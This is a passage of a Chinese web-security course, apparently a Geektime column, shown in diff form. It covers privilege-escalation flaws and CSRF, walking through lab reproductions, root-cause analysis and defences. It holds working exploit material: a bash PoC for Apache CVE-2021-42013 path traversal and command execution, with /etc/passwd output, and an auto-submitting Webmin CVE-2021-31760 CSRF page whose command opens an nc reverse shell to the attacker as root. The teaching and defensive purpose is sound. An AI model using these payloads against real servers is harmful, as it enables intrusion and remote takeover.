与权限相关的赋予、处理以及管理过程,我们主要通过权限管理来统一实现。权限管理就是能够赋予终端执行某种特殊操作的权利,比如在某些运维场景下,运维人员能够获得系统维护的权限,这其中就包括重启服务器权限——我们都知道服务器重启可不是常规操作权限。
|
||||
|
||||
接下来我们以运行时权限过高为例,来看几种典型的攻击场景。
|
||||
|
||||
应用软件在执行某些操作时可能会获取过高的权限,这就可能会破坏我们之前课程中提到的最小权限原则,如果因为这种原因导致了提权漏洞的发生,就可能会放大其他安全风险,导致严重后果。
|
||||
|
||||
随着应用软件执行权限的提高,比如运行在root或者Administrator权限,操作系统或者软件环境提供的安全检查可能会失效;更进一步,由于操作环境权限提升,已经存在的中低危安全风险可能因此升级为高危安全漏洞。
|
||||
|
||||
1. 高权限运行应用
|
||||
|
||||
在安装和运行组件的过程中,某些程序组件的运行环境设置的权限过高,导致低权限应用通过服务调用关系可以完成提权操作。
|
||||
|
||||
与开发层面相比,这一类问题的发生更多倾向于运维层面,比较典型的场景如:攻击者通过WebApp挖掘出注入类型的漏洞,而数据库运行在root或者Administrator权限,则可以通过注入提权的方式尝试远程命令执行。
|
||||
|
||||
2. 降权时出现异常
|
||||
|
||||
以下代码尝试去创建一个用户文件夹,在此操作期间进行了短暂提权:
|
||||
|
||||
def makeNewUserDir(username):
|
||||
...
|
||||
try:
|
||||
raisePrivileges()
|
||||
os.mkdir('/home/' + username)
|
||||
lowerPrivileges()
|
||||
except OSError:
|
||||
return False
|
||||
...
|
||||
|
||||
|
||||
上述代码包含了一次短暂提权,开发者在完成目标操作后立即进行了降权,但要注意的是username作为一个外部输入的参数,可能由于各种原因(输入不合法、安全过滤不严格等)导致mkdir函数报错进而抛出异常,一旦触发这种情况lowerPrivileges函数就无法得到执行,程序将持续以高权限状态运行,可能会为后续漏洞利用过程提供舒适的环境。
|
||||
|
||||
案例实战
|
||||
|
||||
CVE-2021-42013 简介
|
||||
|
||||
这是一个Apache服务器中存在的高危安全漏洞,会导致服务器路径遍历、关键文件泄露以及远程命令执行漏洞。
|
||||
|
||||
有趣的是,该漏洞是CVE-2021-41773的兄弟漏洞,CVE-2021-41773影响的软件版本是2.4.49,该软件版本在2021-09-15发布,在修复了CVE-2021-41773漏洞后,开发团队于2021-10-04发布了2.4.50版本,但是在新版本发布的次日,安全研究人员就发现对CVE-2021-41773漏洞的修复并不完善,会导致一个变种漏洞的发生——CVE-2021-42013。经过apache确认问题后,再次发布了2.4.51版本。
|
||||
|
||||
关于apache服务器历史源码的下载,可以在apache官网找到链接:Index of /dist/httpd
|
||||
|
||||
CVE-2021-42013 漏洞复现
|
||||
|
||||
这里我们提供了两种实验方案:你可以从源码编译安装,也可以直接使用MiTuan搭建好的环境。
|
||||
|
||||
我们先来看看第一种方案,如何通过源码编译安装httpd。
|
||||
|
||||
我们首先访问apache官网,选择2.4.50版本下载:
|
||||
|
||||
https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz
|
||||
|
||||
通过Docker或者虚拟机启动一台Ubuntu Server,如下是httpd编译安装前的环境依赖:
|
||||
|
||||
apt install libapr1 libapr1-dev
|
||||
apt install libaprutil1 libaprutil1-dev
|
||||
apt install libpcre3 libpcre3-dev
|
||||
|
||||
|
||||
然后编译安装即可:
|
||||
|
||||
# Extract
|
||||
tar -xvf httpd-2.4.50.tar.gz
|
||||
cd httpd-2.4.50
|
||||
# Configure
|
||||
./configure
|
||||
# Compile
|
||||
make
|
||||
# Install
|
||||
make install
|
||||
# Test
|
||||
/usr/local/apache/bin/apachectl -k start
|
||||
|
||||
|
||||
这里要注意在完全默认配置下该漏洞是不存在的,这里我们需要对配置文件做简单的修改:
|
||||
|
||||
# 1.
|
||||
<Directory />
|
||||
Require all granted
|
||||
</Directory>
|
||||
# 2.
|
||||
LoadModule cgid_module modules/mod_cgid.so
|
||||
|
||||
|
||||
上述的代码主要做了两处修改。一是许可了Apache服务器对文件系统的访问操作,二是加载了一个Module。
|
||||
|
||||
要知道,在部署WebApp的过程中这两处修改是非常普遍的,因此该漏洞的影响范围非常大。
|
||||
|
||||
通过netstat -antp命令可以查看服务状态:
|
||||
|
||||
root@1dd54d1b3962:/home# netstat -antp
|
||||
Active Internet connections (servers and established)
|
||||
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
|
||||
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26722/httpd
|
||||
|
||||
|
||||
我们来来看看第二种方案,尝试使用MiTuan直接启动环境。
|
||||
|
||||
我已经构建好了标准的2.4.50版本httpd服务器环境,你可以访问MiTuan,直接搜索[极客时间-漏洞挖掘与智能攻防实战]并选择[CVE-2021-42013]来进行测试。
|
||||
|
||||
PoC代码如下:
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
|
||||
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
|
||||
echo ./PoC.sh targets.txt /etc/passwd
|
||||
echo ./PoC.sh targets.txt /bin/sh id
|
||||
exit
|
||||
fi
|
||||
|
||||
for host in $(cat $1);
|
||||
do
|
||||
echo $host
|
||||
if [[ $3 == '' ]]; then
|
||||
curl -v --path-as-is "$host/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2";
|
||||
exit
|
||||
fi
|
||||
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2";
|
||||
done
|
||||
|
||||
|
||||
执行PoC代码:
|
||||
|
||||
root@1dd54d1b3962:/home# ./CVE-2021-42013.sh targets.txt /etc/passwd
|
||||
127.0.0.1
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
...
|
||||
|
||||
root@1dd54d1b3962:/home# ./CVE-2021-42013.sh targets.txt /bin/sh id
|
||||
http://127.0.0.1
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
|
||||
|
||||
可以看到我们可以通过该漏洞访问到/etc/passwd文件,并且执行命令获取当前环境的用户信息。
|
||||
|
||||
CVE-2021-41773 漏洞分析
|
||||
|
||||
在成功利用漏洞之后,接下来我们要探究一下漏洞的具体成因。考虑到CVE-2021-42013与CVE-2021-41773是兄弟漏洞,CVE-2021-42013是由于修复不完善导致的变形,所以这里我们从CVE-2021-41773分析入手。
|
||||
|
||||
CVE-2021-41773影响的是Apache HTTP Server 2.4.49版本,因此我们可以:从官网下载对应的源代码,使用常用的编辑器查看:https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz,或者通过MiTuan的CVE-2021-42013漏洞环境查看。MiTuan的漏洞环境中的/home/httpd-2.4.49包含了对应的源码,同时也内置了vim编辑器。
|
||||
|
||||
与本漏洞相关的核心代码位于/home/httpd-2.4.49/server/util.c文件,核心函数是ap_normalize_path(char *path, unsigned int flags),漏洞相关代码如下:
|
||||
|
||||
| while (path[l] != '\0') {
|
||||
- /* RFC-3986 section 2.3:
|
||||
2 * For consistency, percent-encoded octets in the ranges of
|
||||
2 * ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
|
||||
2 * period (%2E), underscore (%5F), or tilde (%7E) should [...]
|
||||
2 * be decoded to their corresponding unreserved characters by
|
||||
2 * URI normalizers.
|
||||
2 */
|
||||
2 // 老师添加的注释 - part1
|
||||
2 if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
|
||||
- && path[l] == '%' && apr_isxdigit(path[l + 1])
|
||||
- && apr_isxdigit(path[l + 2])) {
|
||||
3 const char c = x2c(&path[l + 1]);
|
||||
3 if (apr_isalnum(c) || (c && strchr("-._~", c))) {
|
||||
- /* Replace last char and fall through as the current
|
||||
4 * read position */
|
||||
4 l += 2;
|
||||
4 path[l] = c;
|
||||
3 }
|
||||
2 }
|
||||
- ...
|
||||
2 if (w == 0 || IS_SLASH(path[w - 1])) {
|
||||
- /* Collapse ///// sequences to / */
|
||||
3 if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
|
||||
- do {
|
||||
- l++;
|
||||
4 } while (IS_SLASH(path[l]));
|
||||
4 continue;
|
||||
3 }
|
||||
3
|
||||
3 // 老师添加的注释 - part2
|
||||
3 if (path[l] == '.') {
|
||||
- /* Remove /./ segments */
|
||||
4 if (IS_SLASH_OR_NUL(path[l + 1])) {
|
||||
- l++;
|
||||
5 if (path[l]) {
|
||||
- l++;
|
||||
5 }
|
||||
5 continue;
|
||||
4 }
|
||||
4 /* Remove /xx/../ segments */
|
||||
4 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
|
||||
- /* Wind w back to remove the previous segment */
|
||||
5 if (w > 1) {
|
||||
- do {
|
||||
- w--;
|
||||
6 } while (w && !IS_SLASH(path[w - 1]));
|
||||
5 }
|
||||
|
||||
|
||||
根据我在源码中添加的注释,可以定位关键代码段:
|
||||
|
||||
|
||||
注释1:-
|
||||
检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符。
|
||||
|
||||
效果:%2e -> .
|
||||
|
||||
注释2:-
|
||||
判断是否存在../ ,如果路径中存在%2e./ 形式,就会检测到,但是出现.%2e/ 这种形式时,就不会检测到。
|
||||
|
||||
效果:使用.%2e/或者%2e %2e 绕过对路径穿越符的检测。
|
||||
|
||||
|
||||
由此,即可构建PoC代码:
|
||||
|
||||
$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/password
|
||||
|
||||
|
||||
好的,至此我们已经成功从代码中分析清楚CVE-2021-41773漏洞的成因,并且构建了能够利用漏洞的PoC代码。接下来我们要学习如何从安全建设和开发的角度来防御这种风险。
|
||||
|
||||
防御及检测
|
||||
|
||||
针对权限相关的安全问题,在三个不同的阶段,我们分别有不同的方式加以防御和检测。
|
||||
|
||||
在架构设计阶段,你可以使用“最小权限原则”来运行你的代码,如果可能的话,为你的任务代码创建一个独立的、拥有受限权限的账户。在这种情况下,即使攻击者的完成了一次入侵,也很难直接威慑到软件系统的其他部分。举例来说,数据库应用很少以DBA的形式长时间运行。
|
||||
|
||||
另外,你需要识别出需要额外权限的函数,并做好“权限隔离”。**可以通过封装的方式,尽可能的将高权限需求函数与其他代码分割开,同时尽量晚地进行提权操作,以及尽量早地进行降权操作,防止外部任何可能干扰高权限代码段的输入发生。
|
||||
|
||||
在开发实现阶段,你需要对于高权限代码段要给予足够的关注,在输入检测层面要提供更严格的审核以及限制策略。
|
||||
|
||||
当进行降权时,不要忘记额外调用检测函数以确保权限被成功降低,防止出现降权函数执行失败导致权限没有降低的情况。
|
||||
|
||||
在系统配置阶段,对于复杂应用系统,你要确保配置文件得到良好的审计,配置文件往往会大幅度影响应用系统的权限级别。
|
||||
|
||||
总结
|
||||
|
||||
这节课我们学习了一种很常见但是很重要的安全风险——权限相关的漏洞。
|
||||
|
||||
这种漏洞有时与运维相关,由高权限运行应用导致;有时与开发代码相关,由开发时降权失败导致,对此我们分别列举了典型的攻击场景。
|
||||
|
||||
然后我们找到了一个2021年发生高危漏洞——CVE-2021-42013,它是一个由于配置不当引发的权限相关的漏洞,成功利用可以导致文件越权访问以及远程代码执行。
|
||||
|
||||
通过搭建环境并进行PoC代码编写,我们成功完成了漏洞的复现,掌握了CVE-2021-42013的使用。
|
||||
|
||||
但是会使用一个漏洞只是量的积累,我们更希望以点及面,从这个漏洞入手进而掌握这一类漏洞的原理。为了分析漏洞原理,我们追踪了它的兄弟漏洞——CVE-2021-41773,这是CVE-2021-42013漏洞的前一版本,正是由于开发人员更新时针对CVE-2021-41773的修复不完整,才导致了CVE-2021-42013的发生。
|
||||
|
||||
接下来我们又从源码层面挖掘漏洞的根源。
|
||||
|
||||
你需要判断是否存在../,如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时 ,就不会检测到。这一漏洞是由于输入检测不严格,导致用户能够进行输入绕过,完成命令执行。
|
||||
|
||||
从本质上来看,问题发生的根源是过滤不严格导致的安全漏洞,关于输入过滤的问题我们已经在前几节课中探讨过,这节课我们更多的是关注存在问题时,我们应该如何做安全建设:
|
||||
|
||||
|
||||
通过函数封装、用户隔离等方式最小权限运行代码;
|
||||
对高权限代码给予额外的输入检测以及函数检查;
|
||||
对复杂应用系统的配置文件进行安全审计。
|
||||
|
||||
|
||||
通过结合前几节课程中提到的输入过滤等安全策略,这种多维度、多层次的安全建设,可以更有效地提高应用系统的整体安全性。
|
||||
|
||||
思考题
|
||||
|
||||
这节课我们研究了CVE-2021-41773 漏洞,你可以继续完成CVE-2021-42013 漏洞的分析吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
336
专栏/Web漏洞挖掘实战/05CSRF:为什么用户的操作他自己不承认?.md
Normal file
336
专栏/Web漏洞挖掘实战/05CSRF:为什么用户的操作他自己不承认?.md
Normal file
@ -0,0 +1,336 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
05 CSRF:为什么用户的操作他自己不承认?
|
||||
你好,我是王昊天。
|
||||
|
||||
想象你是个青春阳光的精神小伙,和女神小美青梅竹马,培养了十几年的感情。眼看着就要抱得美人归时,半路杀出了个男二号,成了你的竞争对手。有一天你们恰好在一起聚会,男二号趁你上厕所,用你的手机给小美发了微信。
|
||||
|
||||
“小美,你闺蜜真好看,可以介绍给我吗?”
|
||||
|
||||
你回来时,小美大骂了你一通,然后生气地摔门而去。
|
||||
|
||||
在这个故事里,男二就通过他的行为完成了一次CSRF。
|
||||
|
||||
CSRF
|
||||
|
||||
CSRF的全名是Cross-Site Request Forgery,中文名称是跨站点请求伪造,简单来说,就是让Web应用程序不能有效地分辨一个外部的请求,是否真正来自发起请求的用户,虽然这个请求可能是构造完整、并且输入合法的。
|
||||
|
||||
和前几节课程中学习过的漏洞相比,CSRF有自己的漏洞名称,明显是一个更为细分的漏洞类型,而非一个漏洞类别。它作为一个独立的细分漏洞类型,值得我们单独进行探讨,说明影响力是足够大的。
|
||||
|
||||
扩展开讲一讲,当一个Web应用在设计过程中没有充分考虑来自客户端请求的验证机制时,就可能会遇到CSRF问题。站在攻击者的视角来看,他可以通过一个URL、图片加载或者XMLHttpRequest等方式,让用户触发一个自动化请求发送行为,这个请求在Web Server接受时会被认为是合法的。
|
||||
|
||||
接下来我们看一个典型的攻击场景。
|
||||
|
||||
如下HTML目的是让用户更新自己的信息:
|
||||
|
||||
<form action = "/url/profile.php" method = "post">
|
||||
<input type = "text" name = "firstname" />
|
||||
<input type = "text" name = "lastname" />
|
||||
<br/>
|
||||
<input type = "text" name = "email" />
|
||||
<input type = "submit" name = "submit" value = "Update" />
|
||||
</form>
|
||||
|
||||
|
||||
其中的profile.php包含如下代码:
|
||||
|
||||
// initial the seesion in order to validate sessions
|
||||
session_start();
|
||||
// if the session is registered a valid user the allow update
|
||||
if ( !session_is_registered("username") )
|
||||
{
|
||||
echo "invalid session detected!";
|
||||
// Redirect user to login page
|
||||
...
|
||||
exit;
|
||||
}
|
||||
// The user session is valid, so process the request
|
||||
// and update the information
|
||||
update_profile();
|
||||
|
||||
|
||||
这里的PHP代码中是包含了一些保护措施的,结合我们前面几节课程学到的内容来看,它包含了用户身份的有效性认证,阻止了越权访问。但是上述代码并不能够有效地防止CSRF攻击,如果攻击者可以构建下面这段代码,并且将它托管到某个站点,那么当用户保持登录状态并且访问攻击代码页面时,就会触发攻击代码:
|
||||
|
||||
<script>
|
||||
function attack()
|
||||
{
|
||||
form.email = "[email protected]"
|
||||
form.submit();
|
||||
}
|
||||
<script>
|
||||
|
||||
<body onload = "attack()">
|
||||
// ...
|
||||
</body>
|
||||
|
||||
|
||||
可以看到,上述攻击代码包含了用户在使用浏览器时不可见的内容,当攻击代码在浏览器中加载时,会触发attack函数。如果用户在访问受害网站时保持的登录状态,受害网站就会收到来自用户的请求,请求内容是将E-mail更新为攻击者的邮件地址。这样在后续的攻击操作中,例如邮件验证码等操作都会发送到攻击者邮箱。
|
||||
|
||||
通过上述典型的攻击代码,我们可以总结出几点CSRF攻击特征:
|
||||
|
||||
|
||||
攻击一般发生在跨域场景下,主要原因是外域相较于被攻击目标通常安全级别更低,攻击者更容易控制;
|
||||
CSRF在攻击过程中事实上并没有获取到用户的登录凭据,只是借用户之手发送了恶意的请求;
|
||||
攻击者可以采用的方式有很多:图片URL、超链接、表单提交等许多方式。
|
||||
|
||||
|
||||
案例实战
|
||||
|
||||
CVE-2021-31760
|
||||
|
||||
我为你准备了一份新鲜又甜美可口的漏洞,来实际体验CSRF漏洞挖掘过程以及实际利用效果,那么不卖关子了,直接上漏洞编号——CVE-2021-31760。
|
||||
|
||||
首先介绍一下Webmin,Webmin是一个基于Web的系统配置工具,它是一款开源工具,主要由杰米·卡梅隆(Jamie Cameron)和Webmin社区进行共同维护。Webmin允许用户配置操作系统内部信息,例如用户、磁盘配额、服务或配置文件,以及修改和控制开源应用,例如Apache http服务器或MySQL等。CVE-2021-31760主要影响Webmin 1.973版本,通过CSRF漏洞的利用可以实现远程命令执行(RCE)的效果。
|
||||
|
||||
该漏洞环境已经在谜团MiTuan上构建完成,你可以直接访问谜团搜索CVE-2021-31760进行复现。
|
||||
|
||||
漏洞挖掘过程
|
||||
|
||||
接下来我们进入漏洞挖掘过程,来看该漏洞是如何被发现的。
|
||||
|
||||
首先从官方的GitHub仓库下载1.973版本的源代码,官方仓库地址是GitHub - webmin/webmin: Powerful and flexible web-based server management control panel。然后进入如下目录,选择run.cgi文件打开:
|
||||
|
||||
hunter@HunterdeiMac ~/Downloads/webmin/proc vim run.cgi
|
||||
|
||||
|
||||
通过查看程序代码主体可以发现代码中并没有关于访问来源的审计:
|
||||
|
||||
...
|
||||
$in{'input'} =~ s/\r//g;
|
||||
$cmd = $in{'cmd'};
|
||||
if (&supports_users()) {
|
||||
defined(getpwnam($in{'user'})) || &error($text{'run_euser'});
|
||||
&can_edit_process($in{'user'}) || &error($text{'run_euser2'});
|
||||
if ($in{'user'} ne getpwuid($<)) {
|
||||
$cmd = &command_as_user($in{'user'}, 0, $cmd);
|
||||
}
|
||||
}
|
||||
|
||||
if ($in{'mode'}) {
|
||||
# fork and run..
|
||||
if (!($pid = fork())) {
|
||||
close(STDIN); close(STDOUT); close(STDERR);
|
||||
&open_execute_command(PROC, "($cmd)", 0);
|
||||
print PROC $in{'input'};
|
||||
close(PROC);
|
||||
exit;
|
||||
}
|
||||
&redirect("index_tree.cgi");
|
||||
}
|
||||
else {
|
||||
# run and display output..
|
||||
&ui_print_unbuffered_header(undef, $text{'run_title'}, "");
|
||||
print "<p>\n";
|
||||
print &text('run_output', "<tt>".&html_escape($in{'cmd'})."</tt>"),"<p>\n";
|
||||
print "<pre>";
|
||||
$got = &safe_process_exec_logged($cmd, 0, 0,
|
||||
STDOUT, $in{'input'}, 1);
|
||||
if (!$got) { print "<i>$text{'run_none'}</i>\n"; }
|
||||
print "</pre>\n";
|
||||
&ui_print_footer("", $text{'index'});
|
||||
}
|
||||
&webmin_log("run", undef, undef, \%in);
|
||||
|
||||
|
||||
通过分析源码我们得知代码没有针对CSRF的保护措施,因此我们只需很简单的CSRF构造即可触发该漏洞,并且由于该漏洞触发点是run.cgi文件,我们可以直接通过CSRF构建RCE(远程命令执行),这是非常理想的漏洞利用场景。
|
||||
|
||||
漏洞利用
|
||||
|
||||
接下来我们通过构造PoC,尝试利用这个漏洞。
|
||||
|
||||
首先我们来构造一个HTML文件,这个HTML的核心目标是进行form表单的自动提交,源码如下:
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<meta name="referrer" content="never">
|
||||
</head>
|
||||
<body>
|
||||
<form action="http://your_mituan_app_address/proc/run.cgi" method="POST">
|
||||
<input type="hidden" name="cmd" value="mkfifo /tmp/378; nc your_ip your_port 0</tmp/378 | /bin/sh >/tmp/378 2>&1; rm /tmp/378" />
|
||||
<input type="hidden" name="mode" value="0" />
|
||||
<input type="hidden" name="user" value="root" />
|
||||
<input type="hidden" name="input" value="" />
|
||||
<input type="hidden" name="undefined" value="" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
||||
|
||||
其中主要参数是cmd字段,其含义是:
|
||||
|
||||
|
||||
创建一个命名管道378;
|
||||
Webmin作为客户端使用nc连接黑客控制的服务端,接收命令,并通过匿名管道将命令重定向到bash;
|
||||
bash执行服务端发过来的命令,将输出重定向到命名管道378,并通过命名管道378将输出重定向到nc发送给服务端。
|
||||
|
||||
|
||||
这一条命令实际包含了两条管道,一条匿名管道,一条命名管道,并使其各司其职。它先后将html文件中的your_mituan_app_address、your_ip、your_port替换为谜团启动的应用URL、你的服务器地址、你的服务器IP,即可开始CSRF攻击。
|
||||
|
||||
让我们看看这次攻击经历了哪些流程:首先我们以管理员身份登录Webmin界面,在自己的服务器上启动nc进行监听:nc -l -p 1337,然后使用浏览器直接打开我们创建的HTML页面,到这里我们的攻击就已完成,服务器上的nc已经接入Webmin服务器的bash,可以执行任意命令。
|
||||
|
||||
漏洞分析
|
||||
|
||||
既然已经成功利用了该漏洞,接下来我们就要分析这一类漏洞该如何修复。最简单的方式就是校验这次访问的来源。事实上,Webmin已经做了这种防御。你肯定会有疑问,为什么做了防御仍然会出现CVE-2021-31760漏洞呢?其实这是由于一个配置项引起的,在构建Webmin平台的过程中,我们对config文件进行了修改:
|
||||
|
||||
/etc/webmin/config -> referers_none=0
|
||||
|
||||
|
||||
在官方的说明中,该项就是在判断不同来源的request能否生效,你可以通过如下命令修改配置并重启Webmin服务:
|
||||
|
||||
// 将referers_none=0修改为referers_none=1
|
||||
vim /etc/webmin/config
|
||||
// 重启webmin服务
|
||||
service webmin restart
|
||||
|
||||
|
||||
再次尝试就会发现该漏洞已经消失了,这也是我在追踪这个漏洞时惊讶的点。也许正是这个原因,截至写稿时,Webmin已经在存在漏洞的版本发布了至少5次更新,但是却并没有修复该漏洞。
|
||||
|
||||
到这里你肯定更好奇了,既然Webmin有相关的保护措施,那CVE-2021-31760这个漏洞是否真实存在呢?
|
||||
|
||||
这是个好问题,我们继续来深挖一下:
|
||||
|
||||
首先,该配置项是如何生效的?
|
||||
|
||||
通过对源码的追踪分析,我们可以发现存在如下函数调用链:
|
||||
|
||||
# run.cgi
|
||||
# line 5
|
||||
require './proc-lib.pl';
|
||||
&ReadParse();
|
||||
$access{'run'} || &error($text{'run_ecannot'});
|
||||
...
|
||||
# proc-lib.pl
|
||||
# line 9
|
||||
&init_config();
|
||||
...
|
||||
# web-lib-funcs.pl
|
||||
# line 5142
|
||||
if (!$gconfig{'referers_none'}) {
|
||||
# Known referers are allowed
|
||||
$trust = 1;
|
||||
}
|
||||
elsif ($trustvar == 2) {
|
||||
# Module wants to trust unknown referers
|
||||
$trust = 1;
|
||||
}
|
||||
else {
|
||||
$trust = 0;
|
||||
}
|
||||
}
|
||||
...
|
||||
# webmin/web-lib-funcs.pl
|
||||
# line 5205
|
||||
# function init_config
|
||||
...
|
||||
if (!$trust) {
|
||||
# Looks like a link from elsewhere .. show an error
|
||||
$current_theme = undef;
|
||||
&header($text{'referer_title'}, "", undef, 0, 1, 1);
|
||||
|
||||
$prot = lc($ENV{'HTTPS'}) eq 'on' ? "https" : "http";
|
||||
my $url = "<tt>".&html_escape("$prot://$ENV{'HTTP_HOST'}$ENV{'REQUEST_URI'}")."</tt>";
|
||||
if ($referer_site) {
|
||||
# From a known host
|
||||
print &text('referer_warn',
|
||||
"<tt>".&html_escape($r)."</tt>", $url);
|
||||
print "<p>\n";
|
||||
print &text('referer_fix1', &html_escape($http_host)),"<p>\n";
|
||||
print &text('referer_fix2', &html_escape($http_host)),"<p>\n";
|
||||
}
|
||||
else {
|
||||
# No referer info given
|
||||
print &text('referer_warn_unknown', $url),"<p>\n";
|
||||
print &text('referer_fix3u'),"<p>\n";
|
||||
print &text('referer_fix2u'),"<p>\n";
|
||||
}
|
||||
print "<p>\n";
|
||||
|
||||
&footer();
|
||||
exit;
|
||||
}
|
||||
...
|
||||
|
||||
|
||||
至此,我们发现referers_none配置项的启用,可以影响到run.cgi的工作流程,使其对于包含不同referers的http request继续提供支持。
|
||||
|
||||
是否该项配置项就足够了呢?其实答案是否定的,因为CSRF漏洞一般发生在跨域场景,但是这句话并不绝对,对于同域场景发生的CSRF攻击,上述配置项是难以抵御的。虽然同域场景对攻击者的能力有更高的要求,但是一旦问题发生,我们可以看到root权限级别的RCE仍然是非常恐怖的。
|
||||
|
||||
那么如何从开源代码中学习漏洞挖掘以及安全开发呢?授人以鱼不如授人以渔,这个漏洞的学习除了本身的知识点,更重要的是如何通过对一个CVE漏洞的分析,去掌握漏洞分析和修复的规律。
|
||||
|
||||
在分析一个漏洞时,一定要分析清楚函数调用关系,清晰地了解输入是经过怎样的过程最终影响到输出的。然后一个有质量的漏洞,产品团队一般会在漏洞公布的第一时间进行修复,我们可以使用GitHub的版本比对功能,拿漏洞出现的版本与修复后版本进行源码比对,通过这样的方式可以帮助我们了解优秀的项目是如何解决同类安全问题的。
|
||||
|
||||
通过这种方式,我们可以学习到很多优秀宝贵的经验,快速提升我们的开发水平。
|
||||
|
||||
防御及检测
|
||||
|
||||
根据CSRF的攻击特点,我们可以采用以下几种方式进行防御:
|
||||
|
||||
1. 同源策略
|
||||
|
||||
该防御策略的产生主要为了针对CSRF攻击的第一个特征——跨域场景,它的设计思路主要是禁止外域(或者不受信任的域名)对Web Server发起请求。在HTTP协议中,有两个Header字段可以用来帮助我们判断来源域:Origin Header 和 Referer Header。这两个字段在浏览器发送请求时会自动携带,并且不能由前端修改。
|
||||
|
||||
你可能会有疑问:这两个字段很明显是依赖于浏览器实现的,现在浏览器种类那么多,如果浏览器不支持怎么办?必须承认,这是个很好的问题,HTTP协议标准本身在动态更新,很多比较旧版本的浏览器可能不支持这个Policy,如果出现这种情况最好的策略就是阻止这次请求。
|
||||
|
||||
2. Token
|
||||
|
||||
回顾我们在总结CSRF特点时提到的特征,CSRF一般发生在跨域场景下,但是并不绝对。如果攻击者是在本域发起的CSRF攻击,那么同源策略就会失效,因此我们需要一种更严格的防护策略——CSRF Token。
|
||||
|
||||
那么CSRF Token如何实现呢?为每一个form表单生成唯一的token,并且在form提交时验证token,就是CSRF Token的实现思路,但是token需要保证不可预测。在代码实现上主要有2种思路。
|
||||
|
||||
第一种是在用户访问页面时,由服务器生成Token,将生成的Token存放于Session中,一般Token生成时会通过加密算法实现,输入一般包括随机字符串、时间戳等,要注意Token也会有有效期。
|
||||
|
||||
第二种是每次加载页面时通过JS遍历DOM树结构插入Token:
|
||||
|
||||
GET: http://example.com?csrf_token=value
|
||||
POST: <input type = "hidden" name = "csrf_token" value = "value"/>
|
||||
|
||||
|
||||
了解了客户端实现之后,你肯定自然地想到了后面的问题——服务端收到HTTP请求后怎么验证token的正确性呢?
|
||||
|
||||
要注意,对于分布式Web应用,使用Session存储Token会非常不方便,所以一般采用中间件存储或者动态计算的方式来优化。中间件存储方案是将Token存储在Redis中间件上,这样可以保证不同服务器取得的token值一致;动态计算方案是Token的原始输入不再采用随机数,而是采用UID等用户信息,同时加密算法采用对称加密算法,这样可以保证任何一台分布式服务器取到Token后都可以执行解密操作并进行数据正确性比对。
|
||||
|
||||
3. 接口设计
|
||||
|
||||
对于同源策略的实现,是有一些特殊的场景需要被作为例外处理的。按照我们之前的设计,用户来自搜索引擎链接的跳转会被无差异判定为CSRF攻击,这时我们就要判断特定情况并进行放行处理,一般情况下我们都会放行GET请求。但此时如果Web应用实现上允许用户通过GET请求发送敏感操作,就会出现安全问题。这提醒我们,不要在GET请求中允许用户执行敏感操作。
|
||||
|
||||
这里我们可以引入一个更形象的、非技术手段的抵制CSRF的案例——人工形态的CSRF_Token,在许多重要的支付环节,都需要在最后一步发送手机验证码、邮件验证码或者进行人脸识别,其实这就是通过应用流程设计的角度实现的一种CSRF_Token变种验证操作。
|
||||
|
||||
现在的防御方案,主要考虑的是如何防止跨域的CSRF。因为攻击者无法获取到Token,所以大家会普遍认为,本域发生的CSRF暂时是安全的。但是,如果XSS和CSRF问题同时在本域发生,由于XSS可以让攻击者获取Token,CSRF的防御就宣告失效。因此我们需要在Web应用设计和开发过程中,严格过滤用户的输入,确保用户不能够输入我们不希望出现的内容,这样可以同时规避掉XSS和CSRF安全风险。
|
||||
|
||||
4. 双重Cookie
|
||||
|
||||
在Web应用开发中新增CSRF_Token机制还是稍有些麻烦,那么我们该如何通过现有的组件,来实现CSRF防御方案呢?答案是双重Cookie。
|
||||
|
||||
当用户访问Web网站时,Web应用为用户随机生成一个新的Cookie值,当Web应用每次执行表单提交操作时都需要携带这个Cookie值;由于同源策略的保护,攻击者无法获取或者修改这个Cookie项,因此实现了CSRF的保护。
|
||||
|
||||
但要注意的是这项技术需要用到JavaScript,因此在一些JavaScript Disabled的浏览器中是无法工作的。
|
||||
|
||||
除此以外,双重Cookie也面临一些风险。比如本域Web应用存在XSS漏洞,该防御将失效。以及为了确保Cookie传输安全,需要采用整站HTTPS,否则Cookie泄露也会导致该防御失效。
|
||||
|
||||
总结
|
||||
|
||||
